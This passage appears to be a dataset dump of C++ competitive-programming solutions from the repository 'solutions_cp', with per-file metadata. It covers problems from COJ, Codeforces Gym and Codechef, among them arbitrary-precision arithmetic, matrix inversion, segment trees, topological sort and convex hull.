1000005;\r\n\r\nstring str;\r\nint digits[MAXN], top = 0, x;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> str;\r\n\twhile (true) {\r\n\t\tint s = str.size();\r\n\t\tfor (int i = s - 2; i >= 0; i--)\r\n\t\t\tdigits[top++] = str[i] - '0';\r\n\t\tx = (str[s - 1] - '0' + 1) / 2;\r\n\r\n\t\tint carry = 0;\r\n\t\tfor (int i = 0; i < top; i++) {\r\n\t\t\tcarry += digits[i] * 5;\r\n\t\t\tdigits[i] = carry % 10;\r\n\t\t\tcarry /= 10;\r\n\t\t}\r\n\t\twhile (carry) {\r\n\t\t\tdigits[top++] = carry % 10;\r\n\t\t\tcarry /= 10;\r\n\t\t}\r\n\r\n\t\tcarry = x;\r\n\t\tfor (int i = 0; carry; i++) {\r\n\t\t\tcarry += digits[i];\r\n\t\t\tdigits[i] = carry % 10;\r\n\t\t\tcarry /= 10;\r\n\t\t\ttop = max(top, i + 1);\r\n\t\t}\r\n cout << \"f(\" << str << \") = \";\r\n\t\tfor (int i = top - 1; i >= 0; i--) {\r\n\t\t\tcout << digits[i];\r\n\t\t\tdigits[i] = 0;\r\n\t\t}\r\n\t\tcout << '\\n';\r\n\t\ttop = 0;\r\n\r\n\t\tcin >> str;\r\n\t\tif (str[0] == '-') break;\r\n\t\telse cout << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.31376147270202637, "alphanum_fraction": 0.34189602732658386, "avg_line_length": 15.77173900604248, "blob_id": "d3df141d840bbb6839cc4adfc337043f0f14105f", "content_id": "516f360ee28d7fa823cf54d103c0b7389e2955f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1635, "license_type": "no_license", "max_line_length": 38, "num_lines": 92, "path": "/COJ/eliogovea-cojAC/eliogovea-p2536-Accepted-s944022.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long double LD;\r\n\r\nconst int N = 30;\r\n\r\nint t;\r\nint n;\r\nLD pf, pb;\r\n\r\nLD p[N][N];\r\nLD pi[N][N];\r\n\r\nvoid invert() {\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tif (i == j) {\r\n\t\t\t\tpi[i][j] = 1.0;\r\n\t\t\t} else {\r\n\t\t\t\tpi[i][j] = 0.0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tint mx = i;\r\n\t\tfor (int j = i + 1; j <= n; j++) {\r\n\t\t\tif (abs(p[j][i]) > abs(p[mx][i])) {\r\n\t\t\t\tmx = j;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tswap(p[i][j], p[mx][j]);\r\n\t\t\tswap(pi[i][j], pi[mx][j]);\r\n\t\t}\r\n\t\tLD tmp = p[i][i];\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tp[i][j] /= tmp;\r\n\t\t\tpi[i][j] /= tmp;\r\n\t\t}\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tif (i == j) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\ttmp = p[j][i];\r\n\t\t\tfor (int k = 1; k <= n; k++) {\r\n\t\t\t\tp[j][k] -= p[i][k] * tmp;\r\n\t\t\t\tpi[j][k] -= pi[i][k] * tmp;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(17);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> pf >> pb;\r\n\t\tpf /= 100.0;\r\n\t\tpb /= 100.0;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tp[i][j] = 0.0;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tif (i == 1) {\r\n\t\t\t\tp[i][i] = pb + (1.0 - pf - pb);\r\n\t\t\t\tp[i][i + 1] = pf;\r\n\t\t\t} else if (i < n) {\r\n\t\t\t\tp[i][i - 1] = pb;\r\n\t\t\t\tp[i][i] = 1.0 - pf - pb;\r\n\t\t\t\tp[i][i + 1] = pf;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tp[i][j] = -p[i][j];\r\n\t\t\t}\r\n\t\t\tp[i][i] += 1.0;\r\n\t\t}\r\n\t\tinvert();\r\n\t\tLD ans = 0.0;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tans += pi[1][i];\r\n\t\t}\r\n\t\tcout << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.47133758664131165, "alphanum_fraction": 0.5031847357749939, "avg_line_length": 12.272727012634277, "blob_id": "50be1c2d949db4e939048f3672fd6e9f7f10783d", "content_id": "fc035a53cd4f3372211035293ca17c99f437109a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 157, "license_type": "no_license", "max_line_length": 39, "num_lines": 11, "path": "/COJ/eliogovea-cojAC/eliogovea-p1423-Accepted-s487684.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\ndouble l;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%lf\",&l)!=EOF)\r\n printf(\"%.6f\\n\",sqrt(3)*l/4.0);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.40751880407333374, "alphanum_fraction": 0.44586464762687683, "avg_line_length": 21.33333396911621, "blob_id": "f59d24f594081f876247b675964f09c452a87039", "content_id": "62ecd523935a23c7ee19d81984d949f7b5375fc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1330, "license_type": "no_license", "max_line_length": 58, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p2111-Accepted-s651746.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\nint n, k, a[10005];\r\nvector<vector<int> > T;\r\n\r\nvoid resize(int sz) {\r\n\tint tmp = 1 + (int)log2(sz);\r\n\ttmp = 1 << (1 + tmp);\r\n\tT.resize(tmp);\r\n\tfor (int i = 1; i < tmp; i++)\r\n\t\tT[i].resize(9, 0);\r\n}\r\n\r\nvoid build(int idx, int l, int r) {\r\n\tif (l == r) {\r\n\t\tT[idx][a[l] / 31] |= (1 << (a[l] % 31));\r\n\t}\r\n\telse {\r\n\t\tint ls = idx << 1, rs = ls + 1, mid = (l + r) >> 1;\r\n\t\tbuild(ls, l, mid);\r\n\t\tbuild(rs, mid + 1, r);\r\n\t\tfor (int i = 0; i < 9; i++)\r\n\t\t\tT[idx][i] = T[ls][i] | T[rs][i];\r\n\t}\r\n}\r\n\r\nvector<int> query(int idx, int l, int r, int ql, int qr) {\r\n\tif (l > qr || r < ql) return vector<int>(9, 0);\r\n\tif (l >= ql && r <= qr) return T[idx];\r\n\tvector<int> aux(9, 0), q1, q2;\r\n\tint ls = idx << 1, rs = ls + 1, mid = (l + r) >> 1;\r\n\tq1 = query(ls, l, mid, ql, qr);\r\n\tq2 = query(rs, mid + 1, r, ql, qr);\r\n\tfor (int i = 0; i < 9; i++)\r\n\t\taux[i] = q1[i] | q2[i];\r\n\treturn aux;\r\n}\r\n\r\nint main() {\r\n scanf(\"%d%d\", &n, &k);\r\n\tresize(n);\r\n\tfor (int i = 1; i <= n; i++) scanf(\"%d\", &a[i]), a[i]--;\r\n\tbuild(1, 1, n);\r\n\tfor (int a, b; k--;) {\r\n\t\tscanf(\"%d%d\", &a, &b);\r\n\t\tvector<int> aux = query(1, 1, n, a, b);\r\n\t\tint sol = 0;\r\n\t\tfor (int i = 0; i < 9; i++)\r\n\t\t\tfor (int j = 0; j < 31; j++)\r\n\t\t\t\tif (aux[i] & (1 << j)) sol++;\r\n\t\tprintf(\"%d\\n\", sol);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38461539149284363, "alphanum_fraction": 0.4007597267627716, "avg_line_length": 16.473684310913086, "blob_id": "113d44ba1c71163a6835a747b8eee07f249f7634", "content_id": "e9566b323c98deec00ce7379d4ecabd0f755e72d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1053, "license_type": "no_license", "max_line_length": 51, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p1040-Accepted-s526936.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\n#include<algorithm>\r\n#include<vector>\r\n#include<queue>\r\n#define MAX 1000000\r\nusing namespace std;\r\n\r\ntypedef vector<int>::iterator vit;\r\n\r\n vector<int> G[MAX];\r\n int grado[MAX],n,m,rec[MAX],ans,a,b;\r\n bool mark[MAX];\r\n\r\n void DFS(int x)\r\n {\r\n mark[x]=1;\r\n rec[ans++]=x;\r\n for(vit it=G[x].begin(); it!=G[x].end(); it++)\r\n if(!(--grado[*it]))\r\n DFS(*it);\r\n }\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d%d\",&n,&m))\r\n {\r\n if(n==0 && m==0)break;\r\n\r\n for(int i=0; i<m; i++)\r\n {\r\n scanf(\"%d%d\",&a,&b);\r\n G[a].push_back(b);\r\n grado[b]++;\r\n }\r\n\r\n for(int i=1; i<=n; i++)\r\n if(!grado[i]&&!mark[i])\r\n DFS(i);\r\n\r\n\r\n if(ans==n)\r\n for(int i=0; i<ans; i++)\r\n printf(\"%d\\n\",rec[i]);\r\n else printf(\"IMPOSSIBLE\\n\");\r\n\r\n for(int i=1; i<=n; i++)\r\n {\r\n G[i].clear();\r\n mark[i]=0;\r\n grado[i]=0;\r\n }\r\n ans=0;\r\n }\r\n\r\n\r\n}\r\n" }, { "alpha_fraction": 0.4318181872367859, "alphanum_fraction": 0.46464645862579346, "avg_line_length": 18.842105865478516, "blob_id": "c7bcce5edfd15a1f5a4ed8fbf46ee5c729f9f8fd", "content_id": "ca80d6de00f2e52c60b67f8cbd88e4fe9de26152", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 792, "license_type": "no_license", "max_line_length": 74, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2402-Accepted-s655427.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint n, len;\r\nstring str;\r\npair<int, int> arr[1005];\r\nint pos[1005];\r\nint cnt;\r\n\r\nint main() {\r\n\tcin >> n >> len;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> str;\r\n\t\tbool ok = false;\r\n\t\tfor (int j = 0; j < len; j++)\r\n\t\t\tif (str[j] >= '1' && str[j] <= '9')\r\n\t\t\t\tarr[i] = make_pair(len - j, str[j] - '1'),\r\n\t\t\t\tok = true;\r\n if (!ok) arr[i] = make_pair(900, 900);\r\n else cnt++;\r\n\t}\r\n\r\n\tsort(arr, arr + n);\r\n\r\n\r\n\tfor (int i = 0, j = -1, last = -1; i < n; i++) {\r\n\t\tif (arr[i].first != last) j = arr[i - 1].first + 1, last = arr[i].first;\r\n\t\tarr[i].first = j;\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tpos[arr[i].second] = arr[i].first;\r\n\tfor (int i = 0; i < cnt; i++)\r\n\t\tcout << pos[i] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.40683430433273315, "alphanum_fraction": 0.43842682242393494, "avg_line_length": 16.914634704589844, "blob_id": "51a4850539b719812bc7eea9334e667531abcb14", "content_id": "429dd6e18524d858fc5a0a51c9e4dcec2d65fb81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1551, "license_type": "no_license", "max_line_length": 95, "num_lines": 82, "path": "/COJ/eliogovea-cojAC/eliogovea-p1119-Accepted-s545132.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nint n,t,H[1010];\r\n\r\nstruct point\r\n{\r\n double x,y;\r\n bool operator<(const point &a)const\r\n {\r\n return (x!=a.x)?(x<a.x):(y<a.y);\r\n }\r\n}p[1010],O;\r\n\r\ndouble cross(point a, point b, point c)\r\n{\r\n return (b.x-a.x)*(c.y-a.y)-(b.y-a.y)*(c.x-a.x);\r\n}\r\n\r\ndouble distc(point a, point b)\r\n{\r\n return (a.x-b.x)*(a.x-b.x)+(a.y-b.y)*(a.y-b.y);\r\n}\r\n\r\ndouble dist(point a, point b)\r\n{\r\n\treturn sqrt(distc(a,b));\r\n}\r\n\r\nbool cmp (point a, point b ) {\r\n double cp = cross( p[0], a, b );\r\n if ( cp != 0 ) return cp > 0;\r\n else return distc( p[0], a ) < distc( p[0], b );\r\n}\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n\r\n for(int i=0; i<n; i++)\r\n {\r\n scanf(\"%lf%lf\",&p[i].x,&p[i].y);\r\n if(p[i]<p[0])swap(p[i],p[0]);\r\n }\r\n\r\n p[n].x=0.0;\r\n p[n].y=0.0;\r\n if(p[n]<p[0])swap(p[n],p[0]);\r\n\r\n sort(p+1,p+n+1,cmp);\r\n\r\n for(int i=0; i<=n; i++)\r\n {\r\n while(t>1 && cross(p[H[t-2]],p[H[t-1]],p[i])<=0)t--;\r\n H[t++]=i;\r\n }\r\n\r\n O.x=0.0;\r\n O.y=0.0;\r\n\r\n double per=dist(p[H[0]],p[H[t-1]]);\r\n double mx=per;\r\n\tdouble mn=dist(p[H[0]],O);\r\n for(int i=1; i<t; i++)\r\n\t{\r\n\t\tmn=min(mn,dist(p[H[i]],O));\r\n\t\tper+=dist(p[H[i]],p[H[i-1]]);\r\n\t}\r\n\r\n double ans;\r\n if(mn==0.0)ans=per;\r\n else\r\n {\r\n ans=per+2.0*mn;\r\n for(int i=0; i<t; i++)\r\n ans=min(ans,per-dist(p[H[i]],p[H[(i+1)%t]])+dist(O,p[H[i]])+dist(O,p[H[(i+1)%t]]));\r\n }\r\n printf(\"%.2lf\\n\",ans+2.0);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.47964170575141907, "alphanum_fraction": 0.49348533153533936, "avg_line_length": 18.1639347076416, "blob_id": "16e649c0de7fec6abd27943c24aaf829d34d3eb0", "content_id": "7357651c50f228919b0177240a1e15b810ff462d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1228, "license_type": "no_license", "max_line_length": 71, "num_lines": 61, "path": "/COJ/eliogovea-cojAC/eliogovea-p3111-Accepted-s1129474.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct point {\r\n\tdouble x, y;\r\n\tpoint() {}\r\n\tpoint(double _x, double _y)\r\n\t\t: x(_x), y(_y) {}\r\n};\r\n\r\npoint operator + (const point &P, const point &Q) {\r\n\treturn point(P.x + Q.x, P.y + Q.y);\r\n}\r\n\r\npoint operator - (const point &P, const point &Q) {\r\n\treturn point(P.x - Q.x, P.y - Q.y);\r\n}\r\n\r\npoint operator * (const point &P, double k) {\r\n\treturn point(P.x * k, P.y * k);\r\n}\r\n\r\npoint operator / (const point &P, double k) {\r\n\treturn point(P.x / k, P.y / k);\r\n}\r\n\r\ninline double cross(const point &P, const point &Q) {\r\n\treturn P.x * Q.y - P.y * Q.x;\r\n}\r\n\r\npoint centroid(const vector <point> &g) {\r\n\tint n = g.size();\r\n\tpoint C(0, 0);\r\n\tdouble area = 0.0;\r\n\tfor (int i = 1; i < n - 1; i++) {\r\n\t\tint j = (i + 1 == n) ? 0 : i + 1;\r\n\t\tdouble a = cross(g[i] - g[0], g[j] - g[0]);\r\n\t\tarea += a;\r\n\t\tC = C + (g[0] + g[i] + g[j]) * a;\r\n\t}\r\n\tC = C / (3.0 * area);\r\n\treturn C;\r\n}\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(2);\r\n\t\r\n\tint n;\r\n\tcin >> n;\r\n\t\r\n\tvector <point> g(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> g[i].x >> g[i].y;\r\n\t}\r\n\t\r\n\tpoint answer = centroid(g);\r\n\t\r\n\tcout << \"(\" << fixed << answer.x << \";\" << fixed << answer.y << \")\\n\";\r\n}" }, { "alpha_fraction": 0.4027954339981079, "alphanum_fraction": 0.4752223491668701, "avg_line_length": 18.19512176513672, "blob_id": "85dc80b04ac2f1250bd7f1c89de051edc7c1344a", "content_id": "6d944eff82b5d6c8c20714c362a1b7749762b64a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 787, "license_type": "no_license", "max_line_length": 64, "num_lines": 41, "path": "/Codeforces-Gym/100541 - 2014 ACM-ICPC Vietnam National Second Round/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 ACM-ICPC Vietnam National Second Round\n// 100541D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint next[105][55];\nlong long toadd[105][55];\n\nint t;\nlong long n, k;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tfor (int i = 0; i <= 100; i++) {\n\t\tnext[i][0] = (2 * i) % 100;\n\t\ttoadd[i][0] = (2 * i >= 100);\n\t}\n\tfor (int i = 1; i <= 31; i++) {\n\t\tfor (int j = 0; j <= 100; j++) {\n\t\t\tnext[j][i] = next[next[j][i - 1]][i - 1];\n\t\t\ttoadd[j][i] = toadd[j][i - 1] + toadd[next[j][i - 1]][i - 1];\n\t\t}\n\t}\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> k;\n\t\tint cur = n % 100;\n\t\tlong long ans = n - cur;\n\t\tfor (int i = 31; i >= 0; i--) {\n\t\t\tif (k & (1LL << i)) {\n\t\t\t\tans += 100LL * toadd[cur][i];\n\t\t\t\tcur = next[cur][i];\n\t\t\t}\n\t\t}\n\t\tans += (long long)cur;\n\t\tcout << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3405889868736267, "alphanum_fraction": 0.3636363744735718, "avg_line_length": 19.75, "blob_id": "e5d1cb5d66aa38a94b99695cf1d2968036addf3a", "content_id": "dd59bab3c5b22c2d0b309b3a5444de2702d09253", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 781, "license_type": "no_license", "max_line_length": 52, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p3236-Accepted-s787889.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, m;\r\nint a[100005], b[100005];\r\nlong long ans, mx;\r\n\r\nint main(){\r\n ios::sync_with_stdio(false);\r\n cin.tie(false);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n cin >> n >> m;\r\n for (int i = 0; i < n; i++) {\r\n cin >> a[i];\r\n }\r\n for (int i = 0; i < n; i++) {\r\n cin >> b[i];\r\n }\r\n sort(a, a + n);\r\n sort(b, b + n);\r\n long long ans = 0;\r\n long long mx = 0;\r\n for (int i = 0; i < n; i++) {\r\n ans += b[i] - a[i];\r\n int p = upper_bound(b, b + n, a[i] + m) - b;\r\n if (p != 0) {\r\n p--;\r\n long long diff = b[p] - a[i];\r\n if (diff > mx) {\r\n mx = diff;\r\n }\r\n }\r\n }\r\n cout << ans - mx << \"\\n\";\r\n}" }, { "alpha_fraction": 0.48604267835617065, "alphanum_fraction": 0.49753695726394653, "avg_line_length": 15.88888931274414, "blob_id": "cf7f822fce2c9d4b0f5a24a7963a35f63551e2f1", "content_id": "b0c6b868ed39a76d5b205eb6baf8035915e2d5d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 609, "license_type": "no_license", "max_line_length": 58, "num_lines": 36, "path": "/Codechef/NEO01.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n;\n\t\tcin >> n;\n\t\tvector <long long> a(n);\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> a[i];\n\t\t}\n\t\tsort(a.begin(), a.end());\n\t\treverse(a.begin(), a.end());\n\n\t\tlong long sumAll = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tsumAll += a[i];\n\t\t}\n\n\t\tlong long answer = sumAll;\n\t\tlong long curSum = 0;\n\t\tlong long cnt = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcurSum += a[i];\n\t\t\tcnt++;\n\t\t\tanswer = max(answer, curSum * cnt + (sumAll - curSum));\n\t\t}\n\t\tcout << answer << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.3602484464645386, "alphanum_fraction": 0.39219164848327637, "avg_line_length": 15.100000381469727, "blob_id": "be7777a4d0cad56024dd191c4feadadbf033dd04", "content_id": "fd1071dcf9ea7ae89b2ce5aa91284c3f33acae84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1127, "license_type": "no_license", "max_line_length": 58, "num_lines": 70, "path": "/Codeforces-Gym/101246 - 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest\n// 101246B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, m;\nstring s[150];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\n\n\tcin >> n >> m;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> s[i];\n\t\tfor (int j = 0; j < m; j++) {\n\t\t\ts[i][j] -= '0';\n\t\t}\n\t}\n\n\tint ans = 0;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tfor (int j = 0; j < m; j++) {\n\t\t\tif (s[i][j] != 0) {\n\t\t\t\tans += 2;\n\t\t\t}\n\t\t}\n\t}\n\n\t//cerr << ans << \"\\n\";\n\n\tfor (int i = 0; i < n; i++) {\n\t\tfor (int j = 0; j < m; j++) {\n\t\t\tif (i == 0) {\n\t\t\t\tans += (int)s[i][j];\n\t\t\t} else {\n\t\t\t\tans += abs(((int)s[i][j]) - ((int)s[i - 1][j]));\n\t\t\t}\n\t\t\tif (i == n - 1) {\n ans += (int)s[i][j];\n\t\t\t}\n\t\t}\n\t}\n\n\t//cerr << ans << \"\\n\";\n\n\tfor (int i = 0; i < m; i++) {\n\t\tfor (int j = 0; j < n; j++) {\n\t\t\tif (i == 0) {\n\t\t\t\tans += (int)s[j][i];\n\t\t\t} else {\n\t\t\t\tans += abs(((int)s[j][i]) - ((int)s[j][i - 1]));\n\t\t\t}\n\t\t\tif (i == m - 1) {\n ans += (int)s[j][i];\n\t\t\t}\n\t\t}\n\t}\n\n\tcout << ans << \"\\n\";\n\n}\n" }, { "alpha_fraction": 0.4399999976158142, "alphanum_fraction": 0.4440000057220459, "avg_line_length": 13.625, "blob_id": "14bfa89b307e65294d07419f11962f30362954b2", "content_id": "800698e560d1bc2ff80d858b3ff4b64de248791c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 250, "license_type": "no_license", "max_line_length": 39, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2734-Accepted-s587736.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint s, x;\r\nstring op;\r\n\r\nint main()\r\n{\r\n while (cin >> op >> x)\r\n {\r\n if (op[0] == 's') s += x;\r\n else s -= x;\r\n }\r\n cout << \"resultado: \" << s << endl;\r\n}\r\n" }, { "alpha_fraction": 0.37659329175949097, "alphanum_fraction": 0.4206257164478302, "avg_line_length": 12.879310607910156, "blob_id": "1b8b086c25a9463f5ab980db6ff4f49c965a6728", "content_id": "41ef05f1df2a5e3af396b7a4f67e36fc9a02e142", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 863, "license_type": "no_license", "max_line_length": 40, "num_lines": 58, "path": "/COJ/eliogovea-cojAC/eliogovea-p3321-Accepted-s837331.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst LL MOD = 10000000000LL;\r\n\r\nconst int N = 1000000;\r\n\r\nbool criba[N + 5];\r\nLL P[N + 5];\r\n\r\nvoid print(int n) {\r\n\tif (n < 31) {\r\n\t\tcout << P[n] << \"\\n\";\r\n\t\treturn;\r\n\t}\r\n\tstring str;\r\n\tLL v = P[n];\r\n\twhile (v) {\r\n\t\tstr += '0' + (v % 10LL);\r\n\t\tv /= 10LL;\r\n\t}\r\n\twhile (str.size() < 10) {\r\n\t\tstr += '0';\r\n\t}\r\n\treverse(str.begin(), str.end());\r\n\tcout << str << \"\\n\";\r\n\treturn;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tP[1] = 1;\r\n\tP[2] = 2;\r\n\tfor (LL i = 3; i <= N; i++) {\r\n\t\tP[i] = P[i - 1];\r\n\t\tif (!criba[i]) {\r\n\t\t\tP[i] *= i;\r\n\t\t\tP[i] %= MOD;\r\n\t\t}\r\n\t}\r\n\tint t, n;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tprint(n);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36250001192092896, "alphanum_fraction": 0.3910714387893677, "avg_line_length": 20.132076263427734, "blob_id": "94b42d82973de4b6cfdd6e33cd98190f24b8d1c8", "content_id": "751ac1285e0d3292b8f5a5749008f8906029b24a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1120, "license_type": "no_license", "max_line_length": 74, "num_lines": 53, "path": "/Codeforces-Gym/100541 - 2014 ACM-ICPC Vietnam National Second Round/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 ACM-ICPC Vietnam National Second Round\n// 100541B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst long long MOD = 1000000;\n\nint solve1(int n) {\n int ans = 0;\n for (int i = 1; i <= n; i++) {\n ans += (n / i) % MOD;\n ans %= MOD;\n }\n return ans;\n}\n\nint solve2(long long n) {\n if (n == 1) {\n return 1;\n }\n long long ans = n;\n long long sqrtn = sqrt(n);\n for (long long i = 2; i <= sqrtn; i++) {\n if ((n / i) <= sqrtn) {\n continue;\n }\n ans += (n / i) % MOD;\n ans %= MOD;\n }\n //cout << ans << \"\\n\";\n for (long long i = 1; i <= sqrtn; i++) {\n //cout << i << \" \" << (n / i) << \" \" << (n / (i + 1)) << \"\\n\";\n long long cnt = (n / i) - (n / (i + 1LL));\n ans += (cnt * i) % MOD;\n ans %= MOD;\n }\n return ans;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n //cin.tie(0);\n //cout << solve2(5); return 0;\n int t;\n long long n;\n cin >> t;\n while (t--) {\n cin >> n;\n cout << solve2(n) << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.49815496802330017, "alphanum_fraction": 0.5036900639533997, "avg_line_length": 16.689655303955078, "blob_id": "6ff85c4502d0fa162cf2e32e5b8ec7f2de94ce94", "content_id": "929683a19f5799c0b25b547aa647e506aac14c9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 542, "license_type": "no_license", "max_line_length": 73, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2452-Accepted-s609366.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <map>\r\nusing namespace std;\r\n\r\nint tc, n;\r\nmap<string, double> m;\r\nstring aux;\r\ndouble x, sol;\r\n\r\nint main() {\r\n\tcin.sync_with_stdio(false);\r\n\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tm.clear();\r\n\t\tsol = 0;\r\n\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> aux >> x;\r\n\t\t\tif (m.find(aux) == m.end()) m[aux] = x;\r\n\t\t\telse m[aux] = min(m[aux], x);\r\n\t\t}\r\n\t\tfor (map<string, double>::iterator it = m.begin(); it 